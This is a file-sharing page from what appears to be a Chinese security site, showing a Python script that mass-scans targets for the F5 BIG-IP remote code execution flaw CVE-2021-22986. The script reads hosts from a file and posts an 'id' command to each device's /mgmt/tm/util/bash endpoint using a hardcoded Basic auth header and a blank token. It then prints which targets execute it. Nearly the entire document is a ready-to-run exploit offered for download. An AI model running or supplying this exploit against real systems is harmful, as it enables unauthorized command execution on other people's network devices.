menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right Scan chevron_right F5 BIG-IP 远程代码执行漏洞 CVE-2021-22986 批量POC.py
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    F5 BIG-IP 远程代码执行漏洞 CVE-2021-22986 批量POC.py
    2.26 KB / 2021-04-15 12:15:17
        import requests
    import sys
    import random
    import re
    import json
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    
    def title():
        print('+------------------------------------------')
        print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
        print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
        print('+  \033[34m公众号  : PeiQi文库                                                   \033[0m')
        print('+  \033[34mVersion: F5 BIG-IP                                                  \033[0m')
        print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
        print('+  \033[36mFile         >>> ip.txt                             \033[0m')
        print('+------------------------------------------')
    
    def POC_1(target_url):
        vuln_url = target_url + "/mgmt/tm/util/bash"
        headers = {
            "Authorization": "Basic YWRtaW46QVNhc1M=",
            "X-F5-Auth-Token": " ",
            "Content-Type": "application/json"
        }
        data = '{"command":"run","utilCmdArgs":"-c id"}'
        try:
            requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
            response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
            if "commandResult" in response.text and response.status_code == 200:
                print("\033[32m[o] 目标 {}存在漏洞,响应为:{} \033[0m".format(target_url, json.loads(response.text)["commandResult"]))
            else:
                print("\033[31m[x] 目标 {}不存在漏洞 \033[0m".format(target_url))
        except Exception as e:
            print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url),)
    
    def Scan(file_name):
        with open(file_name, "r", encoding='utf8') as scan_url:
            for url in scan_url:
                if url[:4] != "http":
                    url = "https://" + url
                url = url.strip('\n')
                try:
                    POC_1(url)
    
                except Exception as e:
                    print("\033[31m[x] 请求报错 \033[0m".format(e))
                    continue
    
    if __name__ == '__main__':
        title()
        file_name  = str(input("\033[35mPlease input Attack File\nFile >>> \033[0m"))
        Scan(file_name)
    
    links
    file_download